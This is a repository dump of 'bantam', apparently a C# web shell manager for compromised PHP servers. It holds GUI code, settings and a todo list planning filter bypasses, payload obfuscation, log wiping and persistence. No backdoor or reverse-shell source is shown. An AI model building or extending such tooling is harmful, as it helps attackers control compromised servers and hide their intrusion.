├── Bins ├── bantam.exe ├── plugins │ ├── mass_example.php │ └── single_example.php ├── SocksSharp.dll └── settings.xml ├── bantam ├── plugins │ ├── mass_example.php │ └── single_example.php ├── Art │ ├── undo.png │ ├── play_2.png │ ├── add_16x16.png │ ├── download.png │ ├── home.png.png │ ├── php_16x16.png │ ├── upload_1.png │ ├── arrow-back.png │ ├── copy_16x16.png │ ├── edit_16x16.png │ ├── enter_16x16.png │ ├── eval_16x16.png │ ├── gear_16x16.png │ ├── gibson_16x16.png │ ├── linux_16x16.png │ ├── logs_16x16.png │ ├── ninja_16x16.png │ ├── person-add.png │ ├── php2_16x16.png │ ├── plus-24-16.png │ ├── trash_16x16.png │ ├── user_16x16.png │ ├── console_16x14.png │ ├── generate_16x16.png │ ├── options_16x16.png │ ├── social-windows.png │ ├── world-outline.png │ ├── arrow-back - Copy.png │ ├── connection2_16x16.png │ ├── connection_16x16.png │ ├── information_16x16.png │ ├── injection_16x16.png │ ├── proxy_chain_16x16.png │ ├── file_browser_drive.ico │ ├── file_browser_folder.ico │ ├── social-windows-outline.png │ ├── file_browser_binary_16x16.png │ └── desktop.ini ├── Dependencies │ └── SocksSharp.dll ├── app.config ├── Properties │ ├── Settings.settings │ ├── Settings.Designer.cs │ └── AssemblyInfo.cs ├── Program.cs ├── Forms │ ├── BrowserView.cs │ ├── BrowserView.Designer.cs │ ├── PortScanner.cs │ ├── ProxyOptions.cs │ ├── BrowserView.resx │ ├── PortScanner.resx │ ├── ProxyOptions.resx │ ├── ReverseShell.resx │ ├── ModifyShellInfo.resx │ ├── DistributedPortScanner.cs │ ├── Options.resx │ ├── DistributedPortScanner.resx │ ├── UploadFile.resx │ ├── BackdoorGenerator.resx │ ├── PortScanner.Designer.cs │ ├── UploadFile.cs │ ├── ProxyOptions.Designer.cs │ ├── Options.cs │ └── ReverseShell.Designer.cs ├── Classes │ ├── FileBrowserTreeNodeSorter.cs │ ├── ResponseObject.cs │ ├── LogHelper.cs │ ├── TextBoxButton.cs │ ├── Config.cs │ ├── CryptoHelper.cs │ ├── Helper.cs │ ├── GuiHelper.cs │ └── ShellInfo.cs ├── settings │ └── settings.xml ├── Notes │ └── todo.txt └── bantam.csproj ├── web shell manager.suo ├── documentation ├── encryption.png └── forms │ ├── main.png │ ├── console.png │ ├── options.png │ ├── add_shell.png │ ├── backdoor_gen.png │ ├── filebrowser.png │ ├── port_scanner.png │ └── reverse_shell.png ├── LICENSE ├── bantam.sln ├── README.md └── .gitignore /Bins/bantam.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/Bins/bantam.exe -------------------------------------------------------------------------------- /Bins/plugins/mass_example.php: -------------------------------------------------------------------------------- 1 | $var1 = 1; 2 | $var2 = 1336; 3 | echo $var1+$var2; -------------------------------------------------------------------------------- /Bins/plugins/single_example.php: -------------------------------------------------------------------------------- 1 | $var1 = 1; 2 | $var2 = 1336; 3 | echo $var1+$var2; -------------------------------------------------------------------------------- /bantam/plugins/mass_example.php: -------------------------------------------------------------------------------- 1 | $var1 = 1; 2 | $var2 = 1336; 3 | echo $var1+$var2; -------------------------------------------------------------------------------- /bantam/plugins/single_example.php: -------------------------------------------------------------------------------- 1 | $var1 = 1; 2 | $var2 = 1336; 3 | echo $var1+$var2; -------------------------------------------------------------------------------- /Bins/SocksSharp.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/Bins/SocksSharp.dll -------------------------------------------------------------------------------- /bantam/Art/undo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/bantam/Art/undo.png -------------------------------------------------------------------------------- /bantam/Art/play_2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/bantam/Art/play_2.png -------------------------------------------------------------------------------- /web shell manager.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/web shell manager.suo -------------------------------------------------------------------------------- /bantam/Art/add_16x16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/bantam/Art/add_16x16.png -------------------------------------------------------------------------------- /bantam/Art/download.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/bantam/Art/download.png -------------------------------------------------------------------------------- /bantam/Art/home.png.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/bantam/Art/home.png.png -------------------------------------------------------------------------------- /bantam/Art/php_16x16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/bantam/Art/php_16x16.png -------------------------------------------------------------------------------- /bantam/Art/upload_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/bantam/Art/upload_1.png -------------------------------------------------------------------------------- /bantam/Art/arrow-back.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/bantam/Art/arrow-back.png -------------------------------------------------------------------------------- /bantam/Art/copy_16x16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/bantam/Art/copy_16x16.png -------------------------------------------------------------------------------- /bantam/Art/edit_16x16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/bantam/Art/edit_16x16.png -------------------------------------------------------------------------------- /bantam/Art/enter_16x16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/bantam/Art/enter_16x16.png -------------------------------------------------------------------------------- /bantam/Art/eval_16x16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/bantam/Art/eval_16x16.png -------------------------------------------------------------------------------- /bantam/Art/gear_16x16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/bantam/Art/gear_16x16.png -------------------------------------------------------------------------------- /bantam/Art/gibson_16x16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/bantam/Art/gibson_16x16.png -------------------------------------------------------------------------------- /bantam/Art/linux_16x16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/bantam/Art/linux_16x16.png -------------------------------------------------------------------------------- /bantam/Art/logs_16x16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/bantam/Art/logs_16x16.png -------------------------------------------------------------------------------- /bantam/Art/ninja_16x16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/bantam/Art/ninja_16x16.png -------------------------------------------------------------------------------- /bantam/Art/person-add.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/bantam/Art/person-add.png -------------------------------------------------------------------------------- /bantam/Art/php2_16x16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/bantam/Art/php2_16x16.png -------------------------------------------------------------------------------- /bantam/Art/plus-24-16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/bantam/Art/plus-24-16.png -------------------------------------------------------------------------------- /bantam/Art/trash_16x16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/bantam/Art/trash_16x16.png -------------------------------------------------------------------------------- /bantam/Art/user_16x16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/bantam/Art/user_16x16.png -------------------------------------------------------------------------------- /bantam/Art/console_16x14.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/bantam/Art/console_16x14.png -------------------------------------------------------------------------------- /bantam/Art/generate_16x16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/bantam/Art/generate_16x16.png -------------------------------------------------------------------------------- /bantam/Art/options_16x16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/bantam/Art/options_16x16.png -------------------------------------------------------------------------------- /bantam/Art/social-windows.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/bantam/Art/social-windows.png -------------------------------------------------------------------------------- /bantam/Art/world-outline.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/bantam/Art/world-outline.png -------------------------------------------------------------------------------- /documentation/encryption.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/documentation/encryption.png -------------------------------------------------------------------------------- /documentation/forms/main.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/documentation/forms/main.png -------------------------------------------------------------------------------- /bantam/Art/arrow-back - Copy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/bantam/Art/arrow-back - Copy.png -------------------------------------------------------------------------------- /bantam/Art/connection2_16x16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/bantam/Art/connection2_16x16.png -------------------------------------------------------------------------------- /bantam/Art/connection_16x16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/bantam/Art/connection_16x16.png -------------------------------------------------------------------------------- /bantam/Art/information_16x16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/bantam/Art/information_16x16.png -------------------------------------------------------------------------------- /bantam/Art/injection_16x16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/bantam/Art/injection_16x16.png -------------------------------------------------------------------------------- /bantam/Art/proxy_chain_16x16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/bantam/Art/proxy_chain_16x16.png -------------------------------------------------------------------------------- /documentation/forms/console.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/documentation/forms/console.png -------------------------------------------------------------------------------- /documentation/forms/options.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/documentation/forms/options.png -------------------------------------------------------------------------------- /bantam/Art/file_browser_drive.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/bantam/Art/file_browser_drive.ico -------------------------------------------------------------------------------- /bantam/Art/file_browser_folder.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/bantam/Art/file_browser_folder.ico -------------------------------------------------------------------------------- /bantam/Dependencies/SocksSharp.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/bantam/Dependencies/SocksSharp.dll -------------------------------------------------------------------------------- /documentation/forms/add_shell.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/documentation/forms/add_shell.png -------------------------------------------------------------------------------- /bantam/Art/social-windows-outline.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/bantam/Art/social-windows-outline.png -------------------------------------------------------------------------------- /documentation/forms/backdoor_gen.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/documentation/forms/backdoor_gen.png -------------------------------------------------------------------------------- /documentation/forms/filebrowser.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/documentation/forms/filebrowser.png -------------------------------------------------------------------------------- /documentation/forms/port_scanner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/documentation/forms/port_scanner.png -------------------------------------------------------------------------------- /documentation/forms/reverse_shell.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/documentation/forms/reverse_shell.png -------------------------------------------------------------------------------- /bantam/Art/file_browser_binary_16x16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gellin/bantam/HEAD/bantam/Art/file_browser_binary_16x16.png -------------------------------------------------------------------------------- /bantam/Art/desktop.ini: -------------------------------------------------------------------------------- 1 | [LocalizedFileNames] 2 | arrow-back.png=@arrow-back.png,0 3 | play_2.png=@play_2.png,0 4 | undo.png=@undo.png,0 5 | -------------------------------------------------------------------------------- /bantam/app.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /bantam/Properties/Settings.settings: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /bantam/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Windows.Forms; 5 | 6 | namespace bantam 7 | { 8 | static class Program 9 | { 10 | /// 11 | /// The main entry point for the application. 12 | /// 13 | /// 14 | 15 | [STAThread] 16 | static void Main() 17 | { 18 | Application.EnableVisualStyles(); 19 | Application.SetCompatibleTextRenderingDefault(false); 20 | Application.Run(new BantamMain()); 21 | } 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /bantam/Forms/BrowserView.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Windows.Forms; 3 | 4 | namespace bantam.Forms 5 | { 6 | public partial class BrowserView : Form 7 | { 8 | public BrowserView(string data, int width, int height) 9 | { 10 | InitializeComponent(); 11 | this.Height = height; 12 | this.Width = width; 13 | 14 | webBrowser1.DocumentText = data; 15 | webBrowser1.ScriptErrorsSuppressed = true; 16 | } 17 | 18 | private void BrowserView_FormClosing(object sender, FormClosingEventArgs e) 19 | { 20 | webBrowser1.DocumentText = string.Empty; 21 | } 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /bantam/Classes/FileBrowserTreeNodeSorter.cs: -------------------------------------------------------------------------------- 1 | using System.Collections; 2 | using System.Windows.Forms; 3 | 4 | namespace bantam.Classes 5 | { 6 | public class FileBrowserTreeNodeSorter : IComparer 7 | { 8 | /// 9 | /// Custom sorter for FileBrowser 10 | /// 11 | /// 12 | /// 13 | /// 14 | public int Compare(object x, object y) 15 | { 16 | TreeNode tx = x as TreeNode; 17 | TreeNode ty = y as TreeNode; 18 | 19 | if ((string)tx.Name == "dir" 20 | && (string)ty.Name == "file") { 21 | return -1; 22 | } 23 | 24 | if ((string)tx.Name == "file" 25 | && (string)ty.Name == "dir") { 26 | return 1; 27 | } 28 | 29 | return string.Compare(tx.Text, ty.Text); 30 | } 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 XPL0 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /bantam/Properties/Settings.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace bantam.Properties { 12 | 13 | 14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "15.8.0.0")] 16 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { 17 | 18 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); 19 | 20 | public static Settings Default { 21 | get { 22 | return defaultInstance; 23 | } 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /bantam/Classes/ResponseObject.cs: -------------------------------------------------------------------------------- 1 | namespace bantam.Classes 2 | { 3 | /// 4 | /// An object that represents 5 | /// 6 | public sealed class ResponseObject 7 | { 8 | /// 9 | /// The result of the response, empty if none 10 | /// 11 | public readonly string Result; 12 | 13 | /// 14 | /// The encryption Key used in the response, empty if none 15 | /// 16 | public readonly string EncryptionKey; 17 | 18 | /// 19 | /// The encryption IV used in the response, empty if none 20 | /// 21 | public readonly string EncryptionIV; 22 | 23 | /// 24 | /// Default Constructor 25 | /// 26 | /// 27 | /// 28 | /// 29 | public ResponseObject(string result, string encryptionKey, string encryptionIV) 30 | { 31 | Result = result; 32 | EncryptionKey = encryptionKey; 33 | EncryptionIV = encryptionIV; 34 | } 35 | } 36 | } -------------------------------------------------------------------------------- /Bins/settings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | -------------------------------------------------------------------------------- /bantam/settings/settings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | -------------------------------------------------------------------------------- /bantam.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.27130.2020 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "bantam", "bantam\bantam.csproj", "{0C15F855-5B53-4F41-BACD-15C09BE7B60B}" 7 | EndProject 8 | Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution Items", "{6FFDE1ED-23CB-45ED-B793-E7C71BEF9E69}" 9 | EndProject 10 | Global 11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 12 | Debug|x86 = Debug|x86 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {0C15F855-5B53-4F41-BACD-15C09BE7B60B}.Debug|x86.ActiveCfg = Debug|x86 17 | {0C15F855-5B53-4F41-BACD-15C09BE7B60B}.Debug|x86.Build.0 = Debug|x86 18 | {0C15F855-5B53-4F41-BACD-15C09BE7B60B}.Release|x86.ActiveCfg = Release|x86 19 | {0C15F855-5B53-4F41-BACD-15C09BE7B60B}.Release|x86.Build.0 = Release|x86 20 | EndGlobalSection 21 | GlobalSection(SolutionProperties) = preSolution 22 | HideSolutionNode = FALSE 23 | EndGlobalSection 24 | GlobalSection(ExtensibilityGlobals) = postSolution 25 | SolutionGuid = {1C000F71-83F2-4751-A06B-263472FEBF32} 26 | EndGlobalSection 27 | GlobalSection(Performance) = preSolution 28 | HasPerformanceSessions = true 29 | EndGlobalSection 30 | EndGlobal 31 | -------------------------------------------------------------------------------- /bantam/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("web shell manager")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("web shell manager")] 13 | [assembly: AssemblyCopyright("Copyright © 2017")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("14c79bda-2ce6-424d-bd49-4f8d68630b7b")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /bantam/Forms/BrowserView.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace bantam.Forms 2 | { 3 | partial class BrowserView 4 | { 5 | /// 6 | /// Required designer variable. 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// Clean up any resources being used. 12 | /// 13 | /// true if managed resources should be disposed; otherwise, false. 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) { 17 | components.Dispose(); 18 | } 19 | base.Dispose(disposing); 20 | } 21 | 22 | #region Windows Form Designer generated code 23 | 24 | /// 25 | /// Required method for Designer support - do not modify 26 | /// the contents of this method with the code editor. 27 | /// 28 | private void InitializeComponent() 29 | { 30 | this.webBrowser1 = new System.Windows.Forms.WebBrowser(); 31 | this.SuspendLayout(); 32 | // 33 | // webBrowser1 34 | // 35 | this.webBrowser1.Dock = System.Windows.Forms.DockStyle.Fill; 36 | this.webBrowser1.Location = new System.Drawing.Point(0, 0); 37 | this.webBrowser1.MinimumSize = new System.Drawing.Size(20, 20); 38 | this.webBrowser1.Name = "webBrowser1"; 39 | this.webBrowser1.Size = new System.Drawing.Size(284, 261); 40 | this.webBrowser1.TabIndex = 0; 41 | // 42 | // BrowserView 43 | // 44 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); 45 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 46 | this.ClientSize = new System.Drawing.Size(284, 261); 47 | this.Controls.Add(this.webBrowser1); 48 | this.Name = "BrowserView"; 49 | this.ShowIcon = false; 50 | this.Text = "BrowserView"; 51 | this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.BrowserView_FormClosing); 52 | this.ResumeLayout(false); 53 | 54 | } 55 | 56 | #endregion 57 | 58 | private System.Windows.Forms.WebBrowser webBrowser1; 59 | } 60 | } -------------------------------------------------------------------------------- /bantam/Classes/LogHelper.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Windows.Forms; 5 | 6 | namespace bantam.Classes 7 | { 8 | static class LogHelper 9 | { 10 | /// 11 | /// The different levels for logging 12 | /// 13 | public enum LOG_LEVEL 14 | { 15 | REQUESTED = 0, //this log was requested to be shown and should bypass any level checks 16 | ERROR, 17 | WARNING, 18 | INFO 19 | } 20 | 21 | /// 22 | /// Add's a log to the main logs tab, richtextbox 23 | /// 24 | /// The url of the shell 25 | /// The log message 26 | /// The level/intensity of the issue being logged, checks the current Config Loglevel to see if the message should be displayed 27 | public static void AddShellLog(string url, string logMessage, LOG_LEVEL logLevel) 28 | { 29 | if (!Config.EnableLogging) { 30 | return; 31 | } 32 | 33 | if (!BantamMain.ValidTarget()) { 34 | return; 35 | } 36 | 37 | if (logLevel > Config.LogLevel) { 38 | return; 39 | } 40 | 41 | string timestamp = DateTime.Now.ToString("HH:mm:ss"); 42 | BantamMain.Instance.AppendToRichTextBoxLogs("[" + timestamp + "] - [" + url + "] - " + logMessage + "\r\n\r\n"); 43 | } 44 | 45 | /// 46 | /// Creates a messagebox for "global" logs/errors 47 | /// 48 | /// 49 | /// The title of the window in the messagebox 50 | /// The level/intensity of the issue being logged, checks the current Config Loglevel to see if the message should be displayed 51 | public static void AddGlobalLog(string logMessage, string windowTitle, LOG_LEVEL logLevel) 52 | { 53 | if (!Config.EnableGlobalMessageBoxes) { 54 | return; 55 | } 56 | 57 | if (logLevel > Config.LogLevel) { 58 | return; 59 | } 60 | 61 | MessageBox.Show(logMessage, "ERROR at - " + windowTitle); 62 | } 63 | } 64 | } 65 | -------------------------------------------------------------------------------- /bantam/Classes/TextBoxButton.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Drawing; 3 | using System.Windows.Forms; 4 | 5 | namespace bantam.Classes 6 | { 7 | /// 8 | /// This is a custom Textbox control that contains a button in the left side that can trigger an action via (MouseEventHandler) and a custom KeyEventHandler 9 | /// 10 | public class TextBoxButton : TextBox 11 | { 12 | /// 13 | /// 14 | /// 15 | private readonly Button btnBack = new Button(); 16 | 17 | /// 18 | /// 19 | /// 20 | /// 21 | /// 22 | /// 23 | /// 24 | /// 25 | /// 26 | /// 27 | /// 28 | public void Initialize(int x, int y, int w, int h, string name, KeyEventHandler keyEventHandler, MouseEventHandler mouseClickFunction, int textboxHeight) 29 | { 30 | this.Name = name; 31 | this.TabIndex = 1; 32 | this.Size = new System.Drawing.Size(w, h); 33 | this.Location = new System.Drawing.Point(x, y); 34 | this.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); 35 | this.Font = new System.Drawing.Font("Microsoft Tai Le", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); 36 | this.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); 37 | this.KeyDown += keyEventHandler; 38 | 39 | btnBack.Size = new Size(25, textboxHeight + 2); 40 | btnBack.Location = new Point(1, -1); 41 | btnBack.Image = global::bantam.Properties.Resources.undo; 42 | btnBack.MouseClick += mouseClickFunction; 43 | btnBack.TabStop = false; 44 | btnBack.FlatStyle = FlatStyle.Flat; 45 | btnBack.FlatAppearance.BorderSize = 0; 46 | btnBack.Cursor = System.Windows.Forms.Cursors.Hand; 47 | 48 | this.Controls.Add(btnBack); 49 | } 50 | 51 | /// 52 | /// 53 | /// 54 | /// 55 | protected override void WndProc(ref Message msg) 56 | { 57 | base.WndProc(ref msg); 58 | 59 | if (msg.Msg == 0x30) { 60 | SendMessage(this.Handle, 0xd3, (IntPtr)1, (IntPtr)btnBack.Width); 61 | } 62 | } 63 | 64 | [System.Runtime.InteropServices.DllImport("user32.dll")] 65 | private static extern IntPtr SendMessage(IntPtr hWnd, int msg, IntPtr wp, IntPtr lp); 66 | } 67 | } 68 | -------------------------------------------------------------------------------- /bantam/Notes/todo.txt: -------------------------------------------------------------------------------- 1 | ICE BOX 2 | * ? - sql feature 3 | * ? - global XML for proxy settings so it saves? 4 | * ? - distributed fucking, dirbuster 5 | * ? - tunnel feature, right click a client set them as the tunnel, all traffic will go through them first, have an icon to display who's the tunnel, unset tunnel, test communication etc 6 | 7 | * ? - stager stuff in session to reduce request size / encryption - should have option to send as stager or already be uploaded 8 | * ? - windows reverse shell / console via power shell & perl 9 | * ? - fix windows caveats 10 | * ? - make row and col seperator random 11 | * ? - add chunking into requests specifically file uploader 12 | * ? - password feature / require useragent feature 13 | * ? - global cfg option to enable disable error suppression via @ to see more debug data 14 | * ? - read file size limit check & mime check/show pictures in picture control 15 | * ? - proxy support credentials 16 | * ? - bantam mini deployment for persistance / eventuallly tracking and communication with it? 17 | * ? - consider making display_errors ini_set Off a stager option or options 18 | * ? - allowable charector check on var name of backdoor generator 19 | * ? - timeout on the fsock side of the port scanner (make as a controllable option/var) 20 | * ? - strerev payload or parts of the payload and put it back together / payload b64 letter swapping XD / rot13 21 | * ? - chankro implementation needs more testing on servers it's known to work with 22 | * ? - bypass disabled_functions with mod_cgi and .htaccess 23 | * ? - add custom $_SERVER http_verb as vector for sending data 24 | * ? - add a save settings feature to reverse shell form 25 | * ? - add a shell code execution vector to reverse shell form, inherit current global options setting 26 | * ? - consider converting to (System.Security.Cryptography.SymmetricAlgorithm.GenerateIV() && System.Security.Cryptography.SymmetricAlgorithm.GenerateKey()) 27 | * ? - recolor files in browser based on perms - possibly as a feature to send the code to run on server side 28 | * ? - getting previous function caller name will require stacktrace, and more resources so make it an option in the UI not a default 29 | * ? - tarball/gzip directories :D:D: 30 | * ? - remove a line from file containing X string via sed "clear log" 31 | * ? - ensure calls needing a timeout have one 32 | * ? - system code execution should support a barrage method 33 | * ? - option to show php payloads in the logs 34 | * ? - touch feature 35 | * ? - passwd bypass 36 | * ? - Add Logs when an operation times out 37 | * ? - todo make upload vectors from URL dynamic and load from CFG 38 | * ? - make linux & windows console command vectors dynamic and load from CFG 39 | * ? - make global timeout override for port scanning but inherit the global timeout to use as the default timeout 40 | * ? - show response codes in mass eval / other excution response showings 41 | * ? - save as plugin feature from mass eval? 42 | * ? - add select file to mass eval 43 | * ? - COOKIE RESPONSE BACK? -------------------------------------------------------------------------------- /bantam/Forms/PortScanner.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Windows.Forms; 3 | 4 | using bantam.Classes; 5 | 6 | namespace bantam.Forms 7 | { 8 | public partial class PortScanner : Form 9 | { 10 | /// 11 | /// The ShellUrl that is going to perform the port scan, set in default constructor 12 | /// 13 | private readonly string ShellUrl; 14 | 15 | /// 16 | /// Preset port scanning options matches whats in the combo box (todo) 